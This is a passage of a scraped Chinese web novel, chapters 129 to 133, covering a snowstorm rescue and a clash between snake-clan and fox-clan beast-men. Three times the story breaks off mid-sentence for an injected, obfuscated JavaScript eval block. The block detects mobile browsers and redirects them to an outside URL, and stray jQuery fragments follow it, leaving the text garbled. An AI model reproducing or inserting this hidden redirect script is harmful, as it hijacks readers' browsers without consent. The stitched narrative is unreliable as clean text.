寒松眼睛红肿,他望着还在傻笑让他别害怕的女人,他心里其实一点也不害怕,他只是为阿晓感到难过。
若是,若是她没遇到他,是不是就不会有今天的致命危机?
她是那么的自由洒脱,是山中的霸主,一把弓,一把**,就能在危险遍布的森林里横行无阻。
“傻子,大傻子……”
阿晓没读过太多的书,但她知道,不能让自己的男人伤心。
“为了你,都值得。”
阿晓才不是傻子,她是十万雪山里最幸运的女人,若不是幸运之神眷顾,她怎么会遇到自己的一生挚爱?
眼看王权不弃留在慕夜声和寒松二人身上的内力护罩越来越微弱,二人的脸色也越发惨白,跟周围的冰雪差不多了
阿晓知道,若是再继续下去,他们二人会有生命危险。
“阿松,少谷主,你们听我说……”
“外面看似安全,实则危险,反而是这处雪窟才是最安全的。”
第129章 慕夜声怕雪
慕夜声和寒松所处的神医谷四季如春,冬天几乎没有下过雪。
雪对他们来说,是稀罕物。
所以,三人中,没有谁比自小生活在雪山中的阿晓更知道如何在雪地里避险。
慕夜声和寒松知道此刻情况危机,眼睛一眨不眨,强忍着寒冷,聚精会神地听阿晓讲解情况。
“你们需要用雪将此处洞窟堆结实,等身体习惯寒冷后,此处反而会是温度最适合生存的地方。”
“我们也不能贸然走出这里,和营救的队伍错过……”
阿晓为了让寒松和慕夜声听清楚,一字一句说得很慢。
寒松一脸心疼,等阿晓说完,立马行动起来。
“阿晓,你别说话了,我能搞定的,你一定不能有事,不然……”
说到这里,寒松已经快说不出声来,他狠了狠心。
“我永远都不会原谅你的。”
阿晓咧嘴笑了笑,一向温柔如春风的寒松说出狠话,是怕她出事,她心里甜甜的。
她在雪山里孤独惯了,好不容易遇到自己心动的男子,才舍不得死。
她要长长久久地活下去。
“好,我答应你。”
寒松这才破涕为笑,“嗯”了一声,像个勤劳的小蜜蜂一样,跟着慕夜生夯雪去了。
“少谷主,我来帮你。”
慕夜声心中羡慕,他不由得在心里想,若是君羲在这里,是不是也会像阿晓护着寒松一样护着他?
他现在都还记得被月江离重伤,恍然回到幼时被父母丢弃在雪地里时,女人在他耳边柔声地安慰。
他此刻已经在克服恐惧了,实际上,他身体在违背自己意愿发抖。
慕夜声怕雪,怕寒冷……
但他此刻必须镇定。
慕夜声也很高兴,高兴寒松找到了归宿和幸福。
同时,他也有些落寞。
若是有人可以依靠,谁又愿意一直坚强?
“寒松,等脱离险境,我就为你和阿晓举办一场盛大的婚宴。”
寒松红了脸,虽然心中害羞不已,但他是想和阿晓在一起的。
“好啊,多谢少谷主。”
慕夜声本就长了一副谪仙清冷模样,此刻受了寒,更是冰雕玉彻一般的仙气清灵。
纤长的鸦睫垂下,他淡淡道:
“嗯。”
王权不弃在主事的官员指引下,终于带人抵达了避风地。
说是避风地,其实是一处天然的洞窟,恰巧能将所有的风雪遮挡在外,只是靠近洞口的地方,会有雪往里飘。
“慕兄,你还好吗?”
主事的官员正在吩咐人升起篝火取暖,此刻听到王权不弃低声呓语。
连忙走到王权不弃身旁,宽慰道:
“王权侧夫,您放心,慕侧夫吉人自有天相,又有太女殿下龙气庇佑,定会逢凶化吉,否极泰来。”
王权不弃侧眸看了一眼谄媚的官员,心想,能做到这个位置,说不定就是因为有她有一张能说会道的嘴。
说这么长一串吉利话,都不带喘气的,出口成章,也是一种天赋。
“嗯。”
王权不弃只有在乎的人面前,才会话多一些,情绪更丰富一些。
但在主事的官员面前,他是那个冷着脸的千机阁少阁主。
官员见马屁拍到了马蹄子上,悻悻地闭了嘴。
但她也不能放任王权不弃站在洞口吹冷风,万一要是得了风寒,到时候太女殿下怪罪下来,她可就要吃挂落了。
“王权侧夫,火生好了,你也过来烤烤吧?”
见王权不弃仍然站在那洞口,出神地望着外面愈发大的风雪,那官员灵机一动,劝慰道:
“只有保存好了体力,才有更多的精力去救人。”
王权不弃如何不知道这些浅显的道理?
他只是担心,时间拖得越久,风雪越大,慕夜声生还的几率就会越小。
他留下来的内力护罩固然能够护他一时无恙,但若时间拖下去,内力护罩渐渐消失,慕夜声很可能会变成一具冰冷的尸体……
王权不弃同慕夜声有过几次过命的交情,他知道慕夜声这人什么都不怕,就怕寒冷,怕下雪天。
如今,在这茫茫大雪里,他能想到……慕夜声会是多么的绝望。
“你们不用管我。”
王权不弃就像一尊雕像,执着的,固执的,不肯挪动位置,他死死盯着风雪,似乎想从这漫天残酷的风雪里看出一条生路。
那主事的官员无奈地耸耸肩,得,又是一个脾气倔的。
得亏不是她的夫
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15778137|172981||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
郎,若是她的夫郎也这般倔不听话,她非得好好教训一番不可。
也不知道太女殿下是如何忍得了这般性子倔强的夫郎,难道不会被气死吗?
“先把热姜汤熬上,待会儿我给王权侧夫端一碗去,大家先围在篝火旁取暖,待会儿才有力气救人。”
一切都在有条不紊地进行着,除了越来越大的风险,似乎在洞窟内,是难得的岁月静好。
另一边,慕夜声和寒松在不懈的努力下,终于将所处的冰雪窟夯实,形成了一处稳定的空间。
而此时,已经是夜幕降临。
阿晓脸色已经完全失去了血色,唇瓣上面有些冰渣,似乎血液都被冻僵了。
阿晓为了他们已经撑了太久,寒松担忧地去触碰阿晓的脸颊,似乎想探知女人有没有信守承诺……
阿消刷地睁开眼睛,对着他摇了摇头。
“阿松,很棒,我没事。”
她的身体已经撑到了极致,见慕夜声和寒松暂时脱离了危险,紧绷的心弦一松整个人就像一具破布娃娃软倒。
阿晓冻僵的身体正巧砸在寒松的怀中,寒松紧紧抱着阿晓,眼泪顺着脸颊留下……
好冰,阿晓的身体好冰。
原来之前,阿晓竟然是一直忍着吗?
他可真是个傻子!
“寒松,别哭了,先给阿晓行针。”
好在,慕夜声随身携带的荷包里有一套金针和银针,也有一些被急用的药材。
之前雪崩时也没有丢弃,如今还带在身上,算是不幸中的万幸。
寒松是一个优秀的医者,接过慕夜声手中的金针,眼快手稳,一套金针很快便在他的手法下扎在阿晓身上。
针尾微微颤动,和阿晓体内仅剩的内力共鸣,将女人的身体暖起来。
寒松将女人拢在怀中,用自己的体温温暖着女人。
不知过了多久。
怀中的女人动了动手指,寒松一脸惊喜地睁开眼。
“阿晓,你没事了!”
阿晓虚弱地笑了下。
“嗯,阿松,我没事。”
寒松喜极而泣,抱着怀中的女人就像抱着一个失而复得的珍宝。
“阿晓,你没事真是太好了,你都快吓死我了!下次不许这样了!呜呜呜……”
第130章 过来挖
“风雪小了。”
王权不弃一直盯着洞窟外的天气,在此期间,就只喝了一碗热姜汤。
他注意到风雪逐渐变小,动不动僵硬的身子,转身朝洞窟内走去。
此刻已是深夜,围在篝火旁的营救队伍在喝了热姜汤,吃了干粮后,已经聚在一块儿睡着了,只留下几个守夜的士兵。
“王冰,赶路。”
主事的官员名叫王冰,此刻正睡得一脸香甜,透明的涎水顺着嘴角留下,似乎做了什么美梦,嘴角还砸吧了两下。
此刻,陡然听到王权不弃带着内力冰冷的嗓音,一个机灵,翻身坐了起来。
“啊!是!”
若不是缺乏人手,王权不弃断然不会带这帮废物前去营救慕夜声!
警惕性实在是太差了,一点没有士兵的样子,若是此刻喊她的不是自己,而是敌人,想必她们早就身首异处了。
“哈哈哈……王权侧夫晚上好啊?”
王冰还在状况外,不知发生了什么,茫然地挠了挠脑袋。
“王权侧夫,你还不睡吗?”
王权彻底冷下脸,周身嗖嗖嗖地往外冒冷气。
这下,王冰困倦的精神清醒了。
“还不快给本关官起来!都睡什么睡?现在是你们该睡觉的时候吗?你们是怎么睡得着的呀?”
于是,在王权不弃冷凝的气势下,王冰一个接一个将人踹醒,周围守夜的士兵以前去帮忙。
乍然一看,这一幕显得有些滑稽。
可笑的是,大凰王朝已经找不出像样的官员,王冰在一群****,通敌**的蛀虫中,已经算得上好官了。
王权不弃没眼看,他默默地朝着洞窟外走去,站在洞窟口,抬头仰望黑沉沉的夜空——
无星也无月,像一片荒芜的黑原。
“侧夫郎郎,我们好了!”
什么鬼?恶心的称呼让王权不弃浑身起鸡皮疙瘩,先前王冰一口一个王权侧夫,都让他忘了,她们的确该这么称呼自己。
王权不弃很不习惯,就像有**毛虫在他手臂上爬一样……
他冷着一张脸,声音比雪原上的雪还要冰。
“走,跟上。”
仍旧是王权不弃走在最前头,一步一个脚印开路。
身后的人跟着他的脚印走,减少了很多阻力,前行得很顺利。
老天开眼,他们行进路上,风雪越来越小,后来直接停掉了。
王冰高兴地说道:
“王权侧夫,您看,我就说吧!慕侧夫吉人自有天相,肯定会平安无事。”
“您看,老天都在帮咱们!”
王权不弃已经受不了王冰的聒噪,他从来不知道,人的话能够这么多!
一直在耳边叽叽歪歪地说个不停。
“闭嘴。”
“哦……”
王冰很无措,这不是路上太无聊了吗?她想活跃活跃气氛……
谁知道这么不受王权侧夫待见?早知如此,她还不如紧紧闭住嘴巴,当一个哑巴。
没有了王冰的聒噪,就这样一路无言,非常的安静。
王权不弃有意地加快行军速度,王冰顾着追赶王权不弃的步伐,倒也不用她刻意去抑制自己说话的欲望了,赶路越来越快,让她无暇分心去思考,更无暇分心去说一些有的没的闲话。
王权不弃对此很满意。
他辨别了一下方向,随着时间的流逝,他能感受到距离当时和慕夜声分开的地方越来越近了。
说不定,在第二天清晨,阳光照耀大地的时候,他就能够找到慕夜声藏身之处。
“加快速度。”
王冰有气无力地在后面喘着气。
“还有多久才能到啊?王权侧夫,姐妹们都累得不行了。”
这时候,王权不弃使出了激将**,他就不信天底下有女子愿意承认自己比男子弱。
“行同样的路,我现在一点感觉都没有,你们身为女子……比我这个男子弱,不会感到很羞耻吗?”
这话说的,王权不弃也不是普通的男人啊,他是太女的男人,更是千机阁的少阁主!
比他们这群普通女人强,不是很正常的事情吗?
于是,她们一点都没有心理负担,跟着带头的王冰在后面齐齐摇头,整齐划一极了。
王权不弃看笑了,他就不该对王冰他们有所期待!
果然,将强强一窝,将熊熊一窝。
王冰这个窝囊性子算是彻底传给了的她手下,怂也怂成了一窝。
“不会。”
王权不弃抬手捂着额头,罢了,他同这群酒囊饭袋说什么话?
赶紧带着他们找到慕夜声,将他救出来才是头等大事!
接下来,王权不弃顾不上她们能不能跟上他的步伐,一个劲在外前冲。
他算是看出来了,这群人谁
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15778138|172981||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
也不服,就怕太女殿下……
她们看在太女殿下的面子上,肯定会寸步不离地跟紧自己,免得他回去后,在太女殿下枕头边上吹枕头风。
王权不弃耳根泛起一抹红晕,他想起上次……
他问女人愿不愿意给他吹枕头风时,那暧昧的场景。
“阿羲。”
她们已经许久未见了,也不知道太女殿下在南方平定倭寇如何了?有没有受伤?有没有想起他?
王冰是距离王权不弃最近的,自然也听到了他这句亲昵的低唤。
她心头猛然一震,不由得庆幸之前对王权不弃和慕夜声毕恭毕敬,她真是做了个再正确不过的选择!
王权不弃都能够轻易地换太女殿下的小名,这不是关系好的证明是什么?
一看王权侧夫就很得太女殿下的心,不然太女殿下不会允许夫郎唤殿下的小名。
“王权侧夫,您这是想太女殿下了?”
王权不弃冷着斜了王冰一眼,仔细看就能看到他眼底残留的被人看破心事的慌乱。
“没、没有!”
王权侧夫同他说话时从来没有结巴过,王冰心领神会地点点头,嘴上附和着,心里却是将男人的地位又放高了一个等级。
“好的,知道了。”
王权侧夫肯定对太女殿下情根深种,至死不渝。
王权不弃:?
王冰就是个榆木脑壳,不太灵光。
王权不弃已经彻底放弃了挣扎,就这样吧。
“是慕兄的发带!”
王冰往王权不弃手中看,便见王权不弃骨节分明的冷白色的大手上拿着一根淡青色的发带,发带尾端还绣着栩栩如生的车前草,隐隐还能闻到药香。
“太好了,是不是说明我们已经快找到他们了?”
“来人,过来挖。”
由于刚刚才发生过雪崩,大家说话都是轻声细语的,带着气声。
“肯定是的,传闻太女殿下的慕侧夫可是谪仙一般的长相,比月宫中的仙男还要美!”
“真的吗?”
慕夜声戴上口罩,回答她的问题。
“真的啊。”
她该不会是遇上鬼了吧?荒郊野外的除了雪还是雪,她都不知道往什么方向跑。
这时,对面的人先行憋不住了。
“你是谁?”
慕夜声依旧嗓音清淡。
“慕夜声。”
……
第131章 白渊登场
慕夜声?
不就是她们此行要营救的目标,太女殿下的侧夫吗?
他们还没开始挖呢,怎么慕侧夫就自己先跑出来了?
不是说慕夜声只会医术,不会武功,怎么还有自己逃出来的本事呢?
当然,这样的想法只能在心中想想。
只要慕夜声人没事就好,王权不弃,也没想到慕夜声和寒松这两个弱男子不用他救,就自救成功了。
他凝眸,看向一旁幸福依偎在一块儿的寒松和阿晓,心中了然,可能是这个女人的缘故,才让他们二人现在还活得好好的。
二人的视线相碰,转瞬即分。
“多谢。”
刚见面时,他便察觉到阿晓的不寻常。
只是后面情况紧急,没顾得上探究,如今看来,这种不寻常倒是一种好事,是他之前多疑了。
阿晓抱得美男归,心情好,笑着回应王权不弃。
“不必谢我,他是阿松的少谷主,也就是我的少谷主,阿松尊敬他,我便跟着尊敬他。”
“不过是举手之劳罢了,到时我和阿松办喜宴,还请这位兄台前来喝一杯喜酒,便是对我最大的感谢了。”
阿晓说话时,满面红光,春风得意,一看便是幸福到了心里。
王权不弃也不是扫兴的人,嘴角微微上扬一抹弧度,颔首道:
“那就叨扰了。”
王权不弃身后跟着王冰以及一众拿着铁锹、铁棍一脸懵逼的营救队伍。
此刻,王冰脑子也转过弯来了。
虽然,慕夜声现在站在她们面前好好的,但这冰天雪地里没吃的也没喝的,他们此行带了足够的干粮。
“王权侧夫,慕侧夫,还有两位……不如就先行返回避风地?”
王权不弃跟慕夜声三人解释了一番,慕夜声等人自然没有异议。
阿晓的身体被寒气侵蚀最重,的确需要温暖的环境继续治疗。
之前条件简陋,他们能做的只是治标,如今需要的是治本!
寒松扶着阿晓,处在队伍最中间,二人旁若无人地撒狗粮,让军中大部分的单身女人红了眼。
原来这就是有夫郎关心的感觉吗?她们是不是也该找个男子成婚了?
回到避风地,王冰让三人舒舒服服各自喝了一碗热姜汤,去寒气。
然后,王冰又给他们送上干粮填饱肚子,这次营救任务便算圆满完成了。
完全就没难度嘛!
殊不知,若不是有阿晓,这次,绝对不会这么顺利!
阿晓也是付出了近乎一条命的代价,才在雪崩来临时护住了寒松和慕夜声。
“慕侧夫,给我们讲讲你们是怎么脱困的呗?”
王权侧夫就是个冷性子,吐字如金,根本不能期待从他口中听到八卦。
王冰目光灼灼的盯着慕夜声,殊不知慕夜声也是个出了名的清冷性子。
除了被君羲逼急时,他会气鼓鼓地、毫无杀伤力地骂上极几句外,旁的时候,男**都是一副岁月静好、与世无争的模样。
好在寒松和阿晓都是开朗外向的性格,见场面有些冷下来,贴心地暖场。
她们二人一唱一和,绘声绘色地将此次雪崩的危急描述出来,让一帮人围着他们听得津津有味。
然后又陡然直转,说到他们被埋在雪下时的绝望……
最后又是阿晓,如何让他们夯实冰雪,在洞窟中躲了多久才等到救援……
一群人听得眸中异彩连连。
“原来雪窟中会比外面温暖吗?学到了,下次遇到雪崩……”
王冰心头一跳,她是一个有点迷信的人,相信言语是有力量的。
万一说多了,真的再次发生雪崩,将他们都埋在这里可怎么办?
“呸呸呸!才不会遇到雪崩呢!你能不能别乌鸦嘴!”
那手下不服气地反驳。
“我只是说万一……”
王冰也不客气,直接给了她一个大嘴巴子。
“万一也不能假设!”
说是大嘴巴子,其实,更多的是带着玩笑的意味在里面。
王冰和手底下的人关系很好,从他们平日里的相处,便能看得出来。
王冰没有官架子,同手底下的人能打成一片。
这也是王权不弃能够忍受王冰在耳旁聒噪的原因!
吵吵闹闹,平平凡凡,这或许才是人生的真谛。
茫茫的雪原中,有一处泛着淡淡火光的洞窟,里面围着篝火,周围的人靠在篝火旁,大家说说、笑笑、闹闹。
慕夜声喜欢这种氛围,好像在这种氛围中,一向让他惧怕的雪和冰冷,都好上了
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15778139|172981||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
许多。
“慕兄,还好你没事。”
慕夜声道谢:
“王权兄,这次真是多亏你了,若不是有你的内力相护,我们也不可能活到现在,等到救援。”
王权不弃却是在心中摇了摇头,慕夜声被雪埋在雪下,现在才被营救出来。
慕夜声还不知道,君羲提前两天回到玉京城中,已经得知了此事。
“王权兄,你是说,太女殿下知道了此事?还很生气?”
王权不弃摸着剑柄,淡淡“嗯”了声。
“等等,你是怎么知道的?”
慕夜声发现了盲点,玉京城距岚州虽然没有玉京城去漾州那么远,但也不是快马加鞭能够将重要信件短时间内,来回往返的。
除非,有更快捷的传信方式。
王权不弃从慕夜声的表情中,猜到了一个大概。
真不愧是神医谷的少谷主,脑子就是好使。
王权不弃也没有瞒慕夜声的必要,从怀中拿出一个竹哨,这是君羲在临出征时,将他带到一处偏僻角落,偷偷给他的。
说是若有要事,可以吹响竹哨。
然后,就会有一只名叫阿元的鹰,前来给他送信。
王权不弃最开始不以为然,直到后面才发现是真的,君羲她养了一只漂亮的、健壮的鹰。
慕夜声:“可以给我看看吗?”
王权不弃:“随意。”
在所有人都不曾注意到的雪山深处,雪崩恰好惊醒了里面,陷入冬眠的一条白蛇。
白蛇的腰身足有水桶那么宽,最奇特的是他有一双宛如最顶尖红宝石一般的红色眼睛。
蛇眼缓缓睁开,他似乎是有些好奇,歪头思考。
他怎么醒过来了?不是还在冬眠中吗?
“少族长,您可算是醒了,狐族欺人太甚!”
白渊变回人形,伸了个懒腰。
“本少族长不知道你们在折腾些什么,族**都在冬眠,此时同狐族硬杠,有什么好处?”
白畅面露惭愧,她其实在心中也认为白渊说得有道理。
好好的蛇族都冬眠了,这个时候同狐族争抢地盘和资源,不就相当于自己把自己往陷阱里推?
但她就是一个跑腿的,根本做不了决策。
“少族长,您还是先去看看吧……”
第132章 阴柔漂亮
蛇族和大凰、别的兽人族群都不一样,她们以实力为尊,谁强谁就能统领族群。
同时,蛇性本淫,他们也用生育能力来衡量一个族人是否强大。
除此以外,蛇族兽人有一半的蛇族冷血血脉,他们喜欢待在冰凉、阴暗、湿冷的地方。
所以他们的性格也比较偏执、阴暗、谁的性格越阴暗,就会被默认为是最强大的蛇人。
恰巧,白渊便是这一代中公认的最阴暗、偏执的蛇族兽人。
白渊在一众女性蛇兽人少族长备选人中脱颖而出,成了蛇族少族长。
但他只想待在湿漉漉的地方,安静地睡觉,不喜欢管一些杂七杂八的破事。
白渊的长相偏阴柔,肤色是常年不见阳光的冷白,最奇特的要数他那双眼睛。宛如一颗冰蓝色的宝石嵌在他阴柔绝美的脸上,平添了几分孤冷。
他说话的嗓音含着水汽般,湿哒哒、黏糊糊,是让正常人身心不适的地步。
但对于蛇族兽人来说刚刚好,甚至越湿越好!
那蛇族女兽人听爽了,抬起头仰慕地看向白渊,眼底的倾慕不加遮掩,真不愧是少族长,连说话都这般带着祖先的风采~
少族长还是生育能力最强的蛇兽人!
可惜,少族长违背了蛇族本性,禁欲得让她们怀疑蛇生……
而且,大凰太女还下令让少族长和亲,她是没有福气娶少族长为夫了。
白渊并不知道眼前女兽人的想法,他的神情怏怏的,似乎对什么都提不起兴致。
“少族长,你就去看一下吧,族人和狐族争执起来了,还伤了两个小蛇兽人。”
“您再不去的话,狐族只会越发嚣张,当我蛇族无人,少族长,这是你应该担负起的责任啊。”
“……您就去看一眼吧,求求你了。”
白渊的表情始终都厌厌的,直到听到有小兽人受伤,才掀了掀眼皮。
在女兽人喋喋不休的劝说下,他终于决定动身去看一看,免得族中的人老是来烦他睡觉。
“走吧。”
白畅惊喜地瞪大了眼睛,甚至露出了蛇族的竖瞳。
她心中不由诧异,按照少族长特立独行,不爱搭理人的性子,以往她都要劝上半天,少族长可能、也许、才会动弹那么一下子。
少族长可是族中出了名的懒怠,只喜欢躲在阴湿的地方修炼。
今天怎么这么容易便被她说动了?不过,少族长愿意去总归是好事!
要知道,少族长可是族中最强大的蛇兽人,无论从哪一方面来说,少族长都是最强的!
有少族长在,不怕狐族嚣张!
少族长自有办法收拾他们!
白畅对白渊很有信心,她可是亲眼看到过少族长大杀四方、眼睛都不带眨一下的杀神模样……
“好好好,少族长,您跟我走,我在前面带路。”
白渊没有回话,顶着一双厌世阴柔的脸走在白畅身后,高大的体格与他的偏阴柔的脸格格不入。
他的发尾仔细看,在阳光的照射下偏冰蓝色,随着男人的走动,在空中划过一抹冰冷的弧度。
烦……
要是有蛇兽人能够接替少族长的位置就好了,这少族长白渊是一天都不想当了。
白渊生性薄凉,对什么都提不起兴致,同样的,他对任何东西也没有占有欲。
他没有特别爱吃的东西,也没有特别喜欢的人。
都说蛇性本淫,但他却觉得族中那些动不动就发情的蛇兽人非常恶心!
所以,他宁愿克制自己的欲望,也不愿意让自己沦为情欲的奴隶。
“少族长,您耐心些,马上就到了。”
白畅和白渊说话时,总是喜欢用敬称。
她打心底里尊敬白渊,认为白渊可以带领她们蛇族做大做强,在十万雪山中同狐族分庭抗礼。
生怕身后的这位爷走着走着不耐烦,返回去继续冬眠。
白畅一路上不停地同白渊说话,试图勾起他的兴趣。
可惜,只得到两三个……
“嗯”
“哦”
好在这段路不长,很快,他们便到达了目的地。
打眼望去,宽阔的雪原上,有两方正在对峙。
一方是长相偏霸气的狐族兽人,另一方则是长相偏阴柔的蛇族兽人,中间是几个小萝卜头——
小兽人脸上或多或少都带着伤,哭成了小花猫。
身后为他们做主的大人正吵得不可开交。
白渊刚一靠近,便被吵到了耳朵,眉间的厌烦愈发的浓郁。
他好看的眉心一皱,心里的厌烦不受控制的冒出来。
烦死了,想走了。
要不是这次涉及到了幼崽,白渊是半点也不想来。
他刚走过去,那种阴湿的气场便将周围笼罩,虽然他们都是雪中的族群,习惯了寒冷,但白渊过来后,周围的温度仿佛下降了好几个度,让他们不禁打了一个冷战。
狐族的领头人正是涂山靖,涂山靖一脸嚣张,护着身前的三个狐族小兽人,趾高气扬。
“你就是蛇族的少族长?蛇族小兽人打了我们狐族的孩子?说说吧,该怎么赔偿?”
小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!那理所应当的样子,让白渊想在他脸上打两拳,打得鼻青脸肿,回去之后爹妈都不认识。
涂山靖并不认为自己的态度有什么问题,狐族本就是十万雪山中最强大的族群,区区蛇族,无论是从种族规模,还是个体强度,都比不上他们狐族,有什么资格在他面前提条件?
就算是狐族幼崽掀起的争端又怎样?十万雪山中,实力为王,狐族比蛇族强,蛇族这次就得乖乖认栽。
正巧最近天寒,粮食收成不高,能从蛇族手里要到粮食赔偿是最好的。
“怎么不说话?”
涂山靖瞥了白渊几眼,好好的男人长得这么阴柔漂亮做什么?一点也没有男子气概。
想到这儿,他说话愈发的刻薄。
“别以为不说话就没事了,本王把话撂在这儿,若是蛇族不给出让狐族满意的赔偿,狐族绝不会善罢甘休。”
他意味深长地看了看蛇族女兽人,拉长尾音阴阳怪气。
“你们也不想和狐族开战吧?”
那副小人得意的嘴脸,真是让人作呕啊。
白渊垂下眼帘,放在身侧的拳头紧了紧,还是没忍住,拳头如风——
“唰”的一声,划过空气,狠狠砸在涂山尽的鼻梁上!
涂山靖还没反应过来,只来得及“啊!”的惨叫一声,捂着鼻子往后退,两条猩红的液体,滴答滴答地往下滴。
好痛!白渊居然敢出手打人!
“放肆!蛇族是想灭族不成?”
涂山靖什么时候受过这种委屈?
他在狐族一向是众星捧月,多的是人对他阿谀奉承,百般讨好。
可如今,白渊让他狠狠长了个教训。
他的鼻子痛得要命,他的鼻梁是不是被眼前这个暴力漂亮的男人打断了?
白渊垂眸看向自己的拳头,冷白的皮肤上沾了些血迹,他莫名地觉得碍眼。
“手帕。”
白畅在心里给白渊呐喊助威。
对!就是这样!
少族长好样的!就该这样狠狠地打这狐族这帮颠倒黑白的畜生的脸!
听到白渊的要求,他非常熟练地端起一个小托盘,托盘上摆放着整整齐齐的五条手帕,每一条都叠成了大小一样的长方形,花样都是朝上,方便白渊取用。
蛇族人都知道少族长有洁癖,他最不喜欢打架,因为血会溅在他身上,会让他心情烦躁。
所以她们蛇族兽人都习惯性自带小托盘,托盘上摆放五条干净整齐的手帕。
这是为了让有洁癖的少族长心里好受些……
白渊挑了一张手帕,慢条斯理地擦着手背上的血迹,待手背上的血迹完全被擦除,他的脸色才好看了些。
真是肮脏的血……
白渊压根没注意涂山靖放的狠话,在他眼中,涂山靖就是一个跳梁小丑,根本不值得他放在心上。
涂山靖简直快被气炸了!
任谁在那里放一堆狠话后,却无人搭理在意,也会气到升天。
他最后只能指着白渊的鼻子骂。
“你、你给本王等着!”
白渊无所谓,还是那懒懒的声线。
“随时恭候。”
他可不相信涂山靖有这么大的权力能够主宰两族的战争,别说狐王了,就是他的死对头,涂山烈也不会让涂山靖得偿所愿。
蛇族的小兽人们看向白渊的眼神,亮晶晶的,带着十足的崇拜。
“少族长……呜呜……他们打我们!谢谢你给我们报仇~”
少族长真的超级厉害呀!他们都打不过的坏狐族被少族长一个人收拾了。
要是她们也有少族长这么厉害就好了!
狐族的小兽人却是哇哇大哭,不依不饶地在雪地里打滚,硬要身后的大人给他们做主。
白渊被吵得耳朵疼。狭长的冰蓝色眸子微眯,眼尾挑起一抹危险的弧度。
他对别的种族的熊孩子可没有那么好的耐心。
“闭嘴,吵死了。”
声音冷得像冰渣子似的,直往狐族小兽人的耳朵里钻。
他们被吓到了,眼泪将掉不掉地挂在被抓伤的脸上,看上去分外滑稽。
涂山靖以及狐族其余兽人这才反应过来,自己居然被一个长相漂亮的阴柔蛇兽人骇住了。
他们狐族什么时候这么怂过?
“白渊!你打伤了靖王,罪加一等!若不给出一个满意的答复,狐族不会放过蛇族。”
白渊气死人不偿命,他虽然讨厌打架,但却不惧怕打架。
谁若是想挑战他,尽管放手过来便是了。
他气死人不偿命,淡淡吐了一个字出来。
“哦。”
……
喜欢重生十年前,暴戾太女强宠九个俊美夫郎请大家收藏:()重生十年前,暴戾太女强宠九个俊美夫郎更新速度全网最快。
第133章 什么招?跑……
眼看对面的狐族摩拳擦掌,蠢蠢欲动,想要动手打架。
白畅似乎想到了什么,悄悄凑到白渊跟前,用只有两个人能听到的声音,对白渊说了一些信息。
同时还保持着一个让白渊能够接受的距离,也是非常的贴心了。
白渊听了之后,那双冰蓝色的眸子微微亮了一瞬,似乎对这件事情非常的感兴趣。
“真的?”
见自己的话终于让少族长提起了兴趣,白渊心里的石头落下了地,只要让少族长提起兴趣,他今日便不会轻易的离开这里。
她一脸认真。
“千真万确。”
白渊若有所思,涂山烈抓一个老女人做什么?
若说狐族还有什么人能让他放在眼里那便只有被涂山靖算计,成了大皇太女未婚夫郎之一的涂山烈。
涂山烈是狐族的战神,为狐族立下了赫赫战功,狐族如今的大半领土都是他带兵打下来的。
若是涂山烈在这里,白渊可能才会有耐心多说几句话。
白渊曾经和涂山烈交过手,二人打得不分伯仲。
他深知,涂山烈是一个骄傲到骨子里的男人,在对另一半的挑选上,甚至可以说是眼高于顶。
这样的一个人怎么会对一个人族老女人感兴趣?就算是感兴趣,白渊敢肯定,也绝对不会是男女之情方面的兴趣。
真是有意思……
白畅说的话有几分可信?
涂山带回去一个老女人究竟想做什么?
白渊不得不承认,他对这件事起了一丝好奇心。
难不成涂山烈是想从人族老女人身上套出什么秘密?
他真是有些迫不及待想去狐族一探究竟了。
涂山靖恼羞成怒,他又一次被忽视了,忽视得彻彻底底。
“呵。”
他一甩衣袖,语气冷得像结冰了似的。
“蛇族自找死路,本王也不拦着。”
涂山靖阴狠地眯了眯眼,心中已经下了决定。
等他回去,便统计手底下能用的兵力,带兵讨伐蛇族!
父王之前不是一直夸涂山烈有他当年替狐族打天下的风采吗?
他承认,涂山烈的确是打过不少胜仗,可他涂山靖也不是孬种!
他要向父王证明,在父王的孩子中,并不是只有涂山烈一人能够带兵打仗,他涂山靖也可以打一场漂亮仗!
蛇族就是他的成名之战!
这也是他这次主动来处理狐族与蛇族孩童间小争端的原因,他是想将事情闹大,并以此为理由攻打蛇族。
蛇族族群虽比不上狐族规模大,但占据的位置却比较富饶。
若是能打下蛇族,将蛇族领地化为狐族所有,肯定是大功一件,父王也会对他刮目相看!
涂山靖心里越想越美,甚至已经幻想到了父王对他称赞有加,直接将他封为王储的画面。
“哈哈……”
他自己都没注意到,已经傻笑出声,惹得狐族和蛇族的人对他侧目相看。
